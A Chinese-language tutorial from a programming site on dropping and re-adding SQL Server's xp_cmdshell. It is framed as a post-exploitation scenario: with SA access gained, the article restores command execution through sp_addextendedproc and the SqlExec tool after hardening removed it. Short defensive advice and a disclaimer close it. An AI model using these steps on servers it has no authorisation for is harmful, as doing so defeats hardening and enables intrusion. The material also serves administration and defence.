首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL Server SA 權限下 xp_cmdshell 管理與繞過實戰

     編輯:關於SqlServer

工具準備

  • SQL Query Analyzer(查詢分析器)
  • SqlExec Sunx Version(命令執行工具)

核心對象:xp_cmdshell 擴展預存程序

允許在 SQL Server 內執行作業系統命令,預設僅 sysadmin 角色可用。安全加固常移除或禁用它。

移除 xp_cmdshell

IF EXISTS (
    SELECT * FROM dbo.sysobjects 
    WHERE id = OBJECT_ID(N'[dbo].[xp_cmdshell]') 
    AND OBJECTPROPERTY(id, N'IsExtendedProc') = 1
)
EXEC sp_dropextendedproc N'xp_cmdshell'

重新添加 xp_cmdshell

-- SQL Server 7.0
EXEC sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

-- SQL Server 2000
EXEC sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'

實戰場景:遠端執行 cmd 失敗

取得 SA 後用 SqlExec 執行命令提示 SQL_ERROR,多半是 xp_cmdshell 被移除。

恢復方法一:查詢分析器直連

EXEC sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'

恢復方法二:SqlExec Sunx Version

  1. Format 選項填 %s
  2. CMD 選項填:sp_addextendedproc 'xp_cmdshell','xplog70.dll'
  3. 執行即可恢復

移除同理,CMD 填 sp_dropextendedproc 'xp_cmdshell'。

進階阻擋:xplog70.dll 被刪除或改名

現象

執行添加語句提示:「資料庫中已存在名為 'xp_cmdshell' 的對象」,但實際無法使用。

對策

  1. 確認 xplog70.dll 是否存在於 Binn 目錄
  2. 若被改名,嘗試還原檔名或從備份/安裝媒體複製回來
  3. 若被刪除,需重新安裝或修復 SQL Server 以恢復核心 DLL

防禦建議

  • 最小權限原則:應用程式連線勿使用 SA
  • 預設移除 xp_cmdshell,需用時臨時添加、用畢即刪
  • 監控 sp_addextendedproc、xp_cmdshell 執行審計
  • 檔案系統層面保護 xplog70.dll(ACL、檔案完整性監控)

法律聲明

本文僅供安全研究與防禦參考,嚴禁用於未授權滲透測試或攻擊行為。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved